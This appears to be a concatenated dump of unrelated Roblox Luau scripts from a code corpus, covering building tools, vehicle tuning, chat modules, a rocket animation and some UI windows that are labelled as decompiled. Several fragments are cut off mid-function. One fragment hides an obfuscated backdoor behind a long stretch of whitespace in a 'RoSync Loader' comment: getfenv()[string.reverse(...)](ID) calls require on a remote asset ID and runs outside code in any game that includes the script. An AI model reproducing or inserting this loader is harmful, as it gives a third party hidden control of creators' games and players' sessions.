Roblox/luau_corpus huggingface dataset:
-- Axis names corresponding to each face
local FaceAxisNames = {
	[Enum.NormalId.Top] = 'Y';
	[Enum.NormalId.Bottom] = 'Y';
	[Enum.NormalId.Front] = 'Z';
	[Enum.NormalId.Back] = 'Z';
	[Enum.NormalId.Left] = 'X';
	[Enum.NormalId.Right] = 'X';
};

function ShowHandles()
	-- Creates and automatically attaches handles to the currently focused part

	-- Autofocus handles on latest focused part
	if not Connections.AutofocusHandle then
		Connections.AutofocusHandle = Selection.FocusChanged:connect(ShowHandles);
	end;

	-- If handles already exist, only show them
	if Handles then
		Handles.Adornee = Selection.Focus;
		Handles.Visible = true;
		Handles.Parent = Selection.Focus and Core.UIContainer or nil;
		return;
	end;

	-- Create the handles
	Handles = Create 'Handles' {
		Name = 'BTResizingHandles';
		Color = ResizeTool.Color;
		Parent = Core.UIContainer;
		Adornee = Selection.Focus;
	};

	--------------------------------------------------------
	-- Prepare for resizing parts when the handle is clicked
	--------------------------------------------------------

	local AreaPermissions;

	Handles.MouseButton1Down:connect(function ()

		-- Prevent selection
		Core.Targeting.CancelSelecting();

		-- Indicate resizing via handles
		HandleResizing = true;

		-- Stop parts from moving, and capture the initial state of the parts
		InitialState = PreparePartsForResizing();

		-- Track the change
		TrackChange();

		-- Cache area permissions information
		if Core.Mode == 'Tool' then
			AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Items), Core.Player);
		end;

	end);

	------------------------------------------
	-- Update parts when the handles are moved
	------------------------------------------

	Handles.MouseDrag:connect(function (Face, Distance)

		-- Only resize if handle is enabled
		if not HandleResizing then
			return;
		end;

		-- Calculate the increment-aligned drag distance
		Distance = GetIncrementMultiple(Distance, ResizeTool.Increment);

		-- Resize the parts on the selected faces by the calculated distance
		local Success, Adjustment = ResizePartsByFace(Face, Distance, ResizeTool.Directions, InitialState);

		-- If the resizing did not succeed, resize according to the suggested adjustment
		if not Success then
			ResizePartsByFace(Face, Adjustment, ResizeTool.Directions, InitialState);
		end;

		-- Update the "studs resized" indicator
		if ResizeTool.UI then
			ResizeTool.UI.Changes.Text.Text = 'resized ' .. Support.Round(math.abs(Adjustment or Distance), 3) .. ' studs';
		end;

		-- Make sure we're not entering any unauthorized private areas
		if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Items, Core.Player, false, AreaPermissions) then
			for Part, State in pairs(InitialState) do
				Part.Size = State.Size;
				Part.CFrame = State.CFrame;
			end;
		end;

	end);

end;
-------------------------
local frame = script.Parent
local image = script.Parent.Image
local text = script.Parent.Text
local audiotoplay = game.Workspace.Music["DJ Table"].Player.dialogue

frame.BackgroundTransparency = 1
image.ImageTransparency = 1
text.TextTransparency = 1
script.Parent.Visible = true

local fade = 1
--[[

	remoteSignal = RemoteSignal.new()

	remoteSignal:Connect(handler: (player: Player, ...args: any) -> void): RBXScriptConnection
	remoteSignal:Fire(player: Player, ...args: any): void
	remoteSignal:FireAll(...args: any): void
	remoteSignal:FireExcept(player: Player, ...args: any): void
	remoteSignal:Wait(): (...any)
	remoteSignal:Destroy(): void

--]]


local IS_SERVER = game:GetService("RunService"):IsServer()

local Players = game:GetService("Players")
local Ser = require(script.Parent.Parent.Ser)

local RemoteSignal = {}
RemoteSignal.__index = RemoteSignal


function RemoteSignal.Is(object)
	return type(object) == "table" and getmetatable(object) == RemoteSignal
end


function RemoteSignal.new()
	assert(IS_SERVER, "RemoteSignal can only be created on the server")
	local self = setmetatable({
		_remote = Instance.new("RemoteEvent");
	}, RemoteSignal)
	return self
end


function RemoteSignal:Fire(player, ...)
	self._remote:FireClient(player, Ser.SerializeArgsAndUnpack(...))
end


function RemoteSignal:FireAll(...)
	self._remote:FireAllClients(Ser.SerializeArgsAndUnpack(...))
end


function RemoteSignal:FireExcept(player, ...)
	local args = Ser.SerializeArgs(...)
	for _,plr in ipairs(Players:GetPlayers()) do
		if plr ~= player then
			self._remote:FireClient(plr, Ser.UnpackArgs(args))
		end
	end
end


function RemoteSignal:Wait()
	return self._remote.OnServerEvent:Wait()
end


function RemoteSignal:Connect(handler)
	return self._remote.OnServerEvent:Connect(function(player, ...)
		handler(player, Ser.DeserializeArgsAndUnpack(...))
	end)
end


function RemoteSignal:Destroy()
	self._remote:Destroy()
	self._remote = nil
end


return RemoteSignal
--[[
	    ___      _______                _       _______
	   / _ |____/ ___/ /  ___ ____ ___ (_)__   /__  __/
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<     / /
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/	/_/   
						SecondLogic @ Inspare
						Avxnturador @ Novena
]]


local autoscaling	= false					--Estimates top speed

local UNITS	= {								--Click on speed to change units
											--First unit is default	
	{
		units			= "KM/H"			,
		scaling			= (10/12) * 1.09728	, -- 1 stud : 10 inches | ft/s to KP/H
		maxSpeed		= 260				,
		spInc			= 20				, -- Increment between labelled notches
	},
	
	{
        units			= "MPH"				,
		scaling			= (10/12) * (60/88)	, -- 1 stud : 10 inches | ft/s to MPH
		maxSpeed		= 160				,
		spInc			= 20				, -- Increment between labelled notches
	},
	
	{
		units			= "SPS"				,
		scaling			= 1					, -- Roblox standard
		maxSpeed		= 280				,
		spInc			= 40				, -- Increment between labelled notches
	}
}
-- Private functions

local function getCorners(cf, s2)
	return {
		cf:PointToWorldSpace(Vector3.new(-s2.x, s2.y, s2.z));
		cf:PointToWorldSpace(Vector3.new(-s2.x, -s2.y, s2.z));
		cf:PointToWorldSpace(Vector3.new(-s2.x, -s2.y, -s2.z));
		cf:PointToWorldSpace(Vector3.new(s2.x, -s2.y, -s2.z));
		cf:PointToWorldSpace(Vector3.new(s2.x, s2.y, -s2.z));
		cf:PointToWorldSpace(Vector3.new(s2.x, s2.y, s2.z));
		cf:PointToWorldSpace(Vector3.new(s2.x, -s2.y, s2.z));
		cf:PointToWorldSpace(Vector3.new(-s2.x, s2.y, -s2.z));
	}
end

local function worldBoundingBox(set)
	local x, y, z = {}, {}, {}
	for i = 1, #set do x[i], y[i], z[i] = set[i].x, set[i].y, set[i].z end
	local min = Vector3.new(math.min(unpack(x)), math.min(unpack(y)), math.min(unpack(z)))
	local max = Vector3.new(math.max(unpack(x)), math.max(unpack(y)), math.max(unpack(z)))
	return min, max
end
--//Settings
BlurAmount = 0 -- Change this to increase or decrease the blur size
--[[myaccpage.Visible = true
deppage.Visible = false
wthpage.Visible = false
trnpage.Visible = false
cshpage.Visible = false]]--
-- Track if the player is actively racing
local activePlayer = false
local inRace = false
-- Decompiled with the Synapse X Luau decompiler.

client = nil;
service = nil;
return function(p1)
	local l__Color__1 = p1.Color;
	if l__Color__1 == "off" then
		client.UI.Remove("BubbleChat");
		return;
	end;
	local v2 = client.UI.Make("Window", {
		Name = "BubbleChat", 
		Title = "Bubble Chat", 
		Icon = client.MatIcons.Chat, 
		Size = { 260, 57 }, 
		Position = UDim2.new(0, 10, 1, -80), 
		AllowMultiple = false
	});
	if v2 then
		local v3 = v2:Add("TextBox", {
			Text = "Click here or press \";\" to chat", 
			PlaceholderText = "Click here or press \";\" to chat", 
			BackgroundTransparency = 1, 
			TextScaled = true, 
			TextSize = 20
		});
		v3.FocusLost:Connect(function(p2)
			if p2 and (service.Player.Character:FindFirstChild("Head") and l__Color__1 and v3.Text ~= "Click here or press \";\" to chat") then
				if #v3.Text > 0 then
					service.ChatService:Chat(service.Player.Character.Head, service.LaxFilter(v3.Text), l__Color__1);
				end;
				v3.Text = "Click here or press \";\" to chat";
			end;
		end);
		v2:BindEvent(service.UserInputService.InputBegan, function(p3, p4)
			if not p4 and p3.UserInputType == Enum.UserInputType.Keyboard and p3.KeyCode == Enum.KeyCode.Semicolon then
				service.RunService.RenderStepped:Wait();
				v3:CaptureFocus();
			end;
		end);
		local l__gTable__4 = v2.gTable;
		v2:Ready();
	end;
end;
--[[ Last synced 11/11/2020 02:34                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
-- string stm_string(Stream S, int len)
-- @S - Stream object to read from
-- @len - Length of string being read
local function stm_string(S, len)
	local pos = S.index + len
	local str = S.source:sub(S.index, pos - 1)

	S.index = pos
	return str
end
--[=[
	@interface ControllerDef
	.Name string
	.[any] any
	@within KnitClient
	Used to define a controller when creating it in `CreateController`.
]=]
type ControllerDef = {
	Name: string,
	[any]: any,
}
--[[Transmission]]
	Tune.TransModes		= {"Auto","Semi","Manual"}												--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch
		
		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}								
		>First mode is default mode													]]
	
	--Automatic Settings
	Tune.AutoShiftMode	= "RPM"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]	
	Tune.AutoUpThresh	= -200		-- Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		-- Automatic downshift point (relative to peak RPM, positive = Under-rev)
	Tune.ShiftTime = .3				-- The time delay in which you initiate a shift and the car changes gear
	
	--Gear Ratios
	
	Tune.FinalDrive		= 0.8		 --		[TRANSMISSION CALCULATIONS FOR NERDS]
	Tune.Ratios			= {			 --		SPEED [SPS]	 = (Wheel diameter(studs) * math.pi * RPM) / (60 * Gear Ratio * Final Drive * Multiplier)
		--[[ R ]]		18.641		,--		WHEEL TORQUE = Engine Torque * Gear Ratio * Final Drive * Multiplier
		--[[ N ]]		0			,
		--[[ 1 ]]		16.641		,
		--[[ 2 ]]		12.342		,
		--[[ 3 ]]		9.812		,
		--[[ 4 ]]		7.765		,
		--[[ 5 ]]		6.272		,
		--[[ 6 ]]		5.045		,
		--[[ 7 ]]		4.572		,
		--[[ 8 ]]		4.072		
	}
	Tune.FDMult			= 1			-- Ratio multiplier (keep this at 1 if car is not struggling with torque)
--This script automatically adds your chat modules to the chat system
--Put this script in ServerScriptService
--Dont remove the childs of this script
--All Child will be added into the Chat system after the game has started
--If you have more chat modules, feel free to use this script

local CSR = game.Chat:WaitForChild("ChatServiceRunner")
CSR.Disabled = true
for _,v in pairs(script:GetChildren()) do
	v.Parent = game.Chat:WaitForChild("ChatModules")
end
CSR.Disabled = false --ChatServiceRunner is now restarted and will load all added modules
script:Destroy() --the script has after this no purpose anymore
--------------------------------------------------------------#
function Tween(instance,tweeninformation,goals)
	TweenService:Create(instance,tweeninformation,goals):Play()
end
LightGroup = script.Parent.Lights:GetChildren()
while true do
	wait(0)
	if script.Parent.on.Value then
		for i = 1,#LightGroup do
			
			Tween(LightGroup[i],TweenInfo.new(deltatime),{Transparency = 0})
			Tween(LightGroup[i].Light,TweenInfo.new(deltatime),{Brightness = 2})
			Tween(script.Parent.TailLight.Light,TweenInfo.new(deltatime),{Brightness = 2})
		end
	else
		for i = 1,#LightGroup do
			Tween(LightGroup[i],TweenInfo.new(deltatime),{Transparency = 1})
			Tween(LightGroup[i].Light,TweenInfo.new(deltatime),{Brightness = 0})
			Tween(script.Parent.TailLight.Light,TweenInfo.new(deltatime),{Brightness = 0})
		end
	end
end
--//Configure//--
EngineSound = "http://www.roblox.com/asset/?id=426479434"
enginevolume = 0.5
enginePitchAdjust = 1

IdleSound = "http://www.roblox.com/asset/?id=426479434" --{If you dont have a separate sound, use engine sound ID}
idlePitchAdjust = 0.9

TurboSound = "http://www.roblox.com/asset/?id=286070281"
turbovolume = 1

SuperchargerSound = "http://www.roblox.com/asset/?id=404779487" 
superchargervolume = 0.5

HornSound = "http://www.roblox.com/asset/?id=143133249"
hornvolume = 1

StartupSound = "http://www.roblox.com/asset/?id=169394147"
startupvolume = 0.5
startuplength = 1 --{adjust this for a longer startup duration}

WHEELS_VISIBLE = true --If your wheels transparency is a problem, change this value to false
BRAKES_VISIBLE = false --This is to hide the realistic brakes, you can set this to false if you'd like to see how the brakes work 
AUTO_FLIP = true --If false, your car will not flip itself back over in the event of a turnover 

SpeedoReading = "MPH" --{KPH, MPH}

RevDecay = 150 --{The higher this value, the faster it will decay}






								--//INSPARE//--
								  --//SS6//--
							 --//Build 1.25//--












									--and i'll write your name.
									
									
									
									
									












 script.Parent.Name = "VehicleSeat"
-- Variable
local Player = game.Players.LocalPlayer
local Character = Player.Character
local Camera = game.Workspace.CurrentCamera
local SpeedBoost = 27 -- What your speed is going to be when you hold shift
local DefaultSpeed = 16 -- What your speed is going to be when you let of shift
local UserInputService = game:GetService("UserInputService")
-- Put your code down here and don't delete this entire text.
local rocket = script.Parent.Parent.Rocket
local debounce = false
script.Parent.Event:connect(function()
	if debounce == false then
		debounce = true
		for i = 1,75 do
		rocket.Top.Model:SetPrimaryPartCFrame(rocket.Top.Model:GetPrimaryPartCFrame()*CFrame.Angles(0,0,math.rad(-2)))
		wait()		
		end
	script.Parent.Parent.Rocket.Top.Core.A:play()
	for i = 1,400 do
		script.Parent.Parent.Walk.Walkway:SetPrimaryPartCFrame(script.Parent.Parent.Walk.Walkway:GetPrimaryPartCFrame()*CFrame.Angles(0,math.rad(-.1),0))
		wait()
	end
	script.Parent.Parent.Rocket.Top.Core.A:stop()
	script.Parent.Parent.Rocket.Top.Core.B:play()
	wait(3)
	rocket.Parent.Truss1.Anchored = false
	rocket.Parent.Truss2.Anchored = false
	rocket.Parent.Truss3.Anchored = false
	rocket.Parent.Truss4.Anchored = false
	rocket.Parent.Truss5.Anchored = false
	rocket.Parent.Truss6.Anchored = false
	rocket.Parent.Truss7.Anchored = false
	rocket.Parent.Truss8.Anchored = false
	wait(3)
	script.Parent.Parent.Rocket.Top.Core.B:stop()
	script.Parent.Parent.Rocket.Top.Core.C:play()
	rocket.Weld.Disabled = false
	rocket.SectionA.BoosterA.Rocket.ParticleEmitter.Enabled = true
	rocket.SectionA.BoosterB.Rocket.ParticleEmitter.Enabled = true
	rocket.SectionA.BoosterC.Rocket.ParticleEmitter.Enabled = true
	rocket.SectionA.BoosterD.Rocket.ParticleEmitter.Enabled = true
	for i = 1,300 do
		rocket.CFrame.BodyVelocity.Velocity = rocket.CFrame.BodyVelocity.Velocity + Vector3.new(0,.5,0)
	wait()	
	end
	wait(5)
	rocket.Top.Core.C:stop()
	rocket.Top.Core.Decoupler:play()
	rocket.SectionA.BoosterA.Rocket.ParticleEmitter.Enabled = false
	rocket.SectionA.BoosterB.Rocket.ParticleEmitter.Enabled = false
	rocket.SectionA.BoosterC.Rocket.ParticleEmitter.Enabled = false
	rocket.SectionA.BoosterD.Rocket.ParticleEmitter.Enabled = false
	rocket.SectionA.BoosterA:BreakJoints()
	rocket.SectionA.BoosterB:BreakJoints()
	rocket.SectionA.BoosterC:BreakJoints()
	rocket.SectionA.BoosterD:BreakJoints()
	wait(1)
	rocket.Top.Core.D:play()
	rocket.SectionA.Side.MainRocket.ParticleEmitter.Enabled = true
	wait(3)
	rocket.Top.Core.D:stop()
	rocket.Top.Core.Decoupler:play()
	rocket.SectionA.Side.MainRocket.ParticleEmitter.Enabled = false
	rocket.SectionA.Side:BreakJoints()
	wait(1)
	rocket.Top.Core.E:play()
	rocket.Top.Engine.ParticleEmitter.Enabled = true
	end
end)
----------------------------------------------------------------------------------------------------
-------------------=[ PROJETIL ]=-------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
	,Distance = 10000
	,BDrop = .25
	,BSpeed = 2000

	,SuppressMaxDistance = 25	--- Studs
	,SuppressTime = 10			--- Seconds

	,BulletWhiz = false
	,BWEmitter = 25
	,BWMaxDistance = 200
	
	,BulletFlare = false
	,BulletFlareColor = Color3.fromRGB(255,255,255)

	,Tracer = false
	,TracerColor = Color3.fromRGB(255,255,255)
	,TracerLightEmission = 1
	,TracerLightInfluence = 0
	,TracerLifeTime = .2
	,TracerWidth = .1
	,RandomTracer = false
	,TracerEveryXShots = 5
	,TracerChance = 100
	
	,BulletLight = false
	,BulletLightBrightness = 1
	,BulletLightColor = Color3.fromRGB(255,255,255)
	,BulletLightRange = 10

	,ExplosiveHit = false
	,ExPressure = 500
	,ExpRadius = 25
	,DestroyJointRadiusPercent = 0	--- Between 0 & 1
	,ExplosionDamage = 100

	,LauncherDamage = 100
	,LauncherRadius = 25
	,LauncherPressure = 500
	,LauncherDestroyJointRadiusPercent = 0
-- Max angle the wheels will reach when turning
-- Higher number means sharper turning, but too high means the wheels might hit the car base
local MAX_TURN_ANGLE = 40
-- Default cleanup routine (can be overridden)
function InstancePool.Cleanup(Instance)
    Instance.Parent = nil
end

return InstancePool
-- ROBLOX deviation START: chalk doesn't support chaining methods. Using nested calls instead
local FAIL_COLOR = function(...)
	return chalk.bold(chalk.red(...))
end
local OBSOLETE_COLOR = function(...)
	return chalk.bold(chalk.yellow(...))
end
local SNAPSHOT_ADDED = function(...)
	return chalk.bold(chalk.green(...))
end
local SNAPSHOT_NOTE = chalk.dim
local SNAPSHOT_REMOVED = function(...)
	return chalk.bold(chalk.green(...))
end
local SNAPSHOT_SUMMARY = chalk.bold
local SNAPSHOT_UPDATED = function(...)
	return chalk.bold(chalk.green(...))
end
-- поиск билжайшей цели в пределах дистанции
function module.findNearestHead(pos,max_dist)
	local children
	local target = nil
	local target_head = nil
	local rayResult = nil
	
	for _, player in pairs(find:GetChildren()) do
		local target_head = player:FindFirstChild("Head")
		if target_head ~= nil then
			if player:FindFirstChild("Humanoid") ~= nil then
				local hum=player:FindFirstChild("Humanoid")
				if player:FindFirstChild("Team") ~= nil and hum.Health>0 then			
					if (target_head.Position - pos.Position).magnitude < max_dist and player.Team.Value~="Ally" then				
						-- поиск ближайшего
						if target == nil or (target_head.Position - pos.Position).magnitude < (target.Position - pos.Position).magnitude then
							target=target_head
							-- rayResult = myRay(target,pos,max_dist)
							rayResult = true -- проверка что тормозят райкасты
-- Get services
local players = game:GetService("Players")
local soundService = game:GetService("SoundService")
local replicatedStorage = game:GetService("ReplicatedStorage")
--[[
	Registers all spots associated with this canvas.

	Parameters:
	- spots (table[spots]): table list of Spot instances that are associated with this canvas.
]]
function Canvas:registerSpots(spots)
	self.spots = spots
end

return Canvas
---------Credits on bottom of screen

Bin = script.Parent


function onButton1Down(mouse)
local smoke = script.Parent.Parent.Parent.Character.Leg1.Part
local smoke2 = script.Parent.Parent.Parent.Character.Leg2.Part
smoke.Smoke.Enabled = true
smoke2.Smoke.Enabled = true
end


function onButton1Up(mouse)
local smoke = script.Parent.Parent.Parent.Character.Leg1.Part
local smoke2 = script.Parent.Parent.Parent.Character.Leg2.Part
smoke.Smoke.Enabled = false
smoke2.Smoke.Enabled = false
end



function onSelected(mouse) 
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
	mouse.Button1Up:connect(function() onButton1Up(mouse) end)
end
Bin.Selected:connect(onSelected)
-- Decompiled with the Synapse X Luau decompiler.

client = nil;
service = nil;
return function(p1)
	local v1 = client.UI.Make("Window", {
		Name = "CreateCard", 
		Title = "Create Card", 
		Icon = client.MatIcons["Add circle"], 
		Size = { 400, 330 }, 
		AllowMultiple = false, 
		OnClose = function()

		end
	});
	if v1 then
		v1:Add("TextLabel", {
			Text = "List Name:  ", 
			BackgroundTransparency = 1, 
			Size = UDim2.new(0, 80, 0, 30), 
			Position = UDim2.new(0, 10, 0, 10), 
			TextXAlignment = "Right"
		}):Copy("TextLabel", {
			Text = "Card Name:  ", 
			Position = UDim2.new(0, 10, 0, 50)
		}):Copy("TextLabel", {
			Text = "Card Desc:  ", 
			Position = UDim2.new(0, 10, 0, 90)
		});
		local v2 = v1:Add("TextBox", {
			Text = "", 
			BackgroundTransparency = 0.5, 
			Position = UDim2.new(0, 90, 0, 10), 
			Size = UDim2.new(1, -100, 0, 30), 
			BackgroundColor3 = v1.BackgroundColor3:lerp(Color3.new(1, 1, 1), 0.2), 
			TextWrapped = true
		});
		local v3 = {
			Text = "Create", 
			Size = UDim2.new(0, 70, 0, 30), 
			Position = UDim2.new(0, 10, 1, -40)
		};
		local u1 = false;
		local u2 = v2:Copy("TextBox", {
			Position = UDim2.new(0, 90, 0, 50)
		});
		local u3 = v2:Copy("TextBox", {
			Position = UDim2.new(0, 90, 0, 90), 
			Size = UDim2.new(1, -100, 1, -100)
		});
		function v3.OnClick()
			if not u1 then
				u1 = true;
				v1:Destroy();
				client.Remote.Send("TrelloOperation", {
					Action = "MakeCard", 
					List = v2.Text, 
					Name = u2.Text, 
					Desc = u3.Text
				});
			end;
		end;
		local v4 = v1:Add("TextButton", v3);
		local l__gTable__5 = v1.gTable;
		v1:Ready();
	end;
end;
--This module is for any client FX related to the first door on the left.

local DoorFX = {}

local tweenService = game:GetService("TweenService")

local tweenInfo = TweenInfo.new(1.5, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut)

function DoorFX.OPEN(door)
	if not door then return end
	
	tweenService:Create(door.Door.Main, tweenInfo, {CFrame = door.Door.Goal.CFrame}):Play()

	door.Door.Main.DoorOpenFADEOUT:Play()
end

function DoorFX.CLOSE(door)
	if not door then return end

	door.Door.Main.CFrame = door.Door.Home.CFrame
end

return DoorFX
----------//KeyBinds\\----------
CAS:BindAction("Run", handleAction, false, Enum.KeyCode.LeftShift)

CAS:BindAction("Stand", handleAction, false, Enum.KeyCode.X)
CAS:BindAction("Crouch", handleAction, false, Enum.KeyCode.C)
CAS:BindAction("NVG", handleAction, false, Enum.KeyCode.N)

CAS:BindAction("ToggleWalk", handleAction, false, Enum.KeyCode.Z)
CAS:BindAction("LeanLeft", handleAction, false, Enum.KeyCode.Q)
CAS:BindAction("LeanRight", handleAction, false, Enum.KeyCode.E)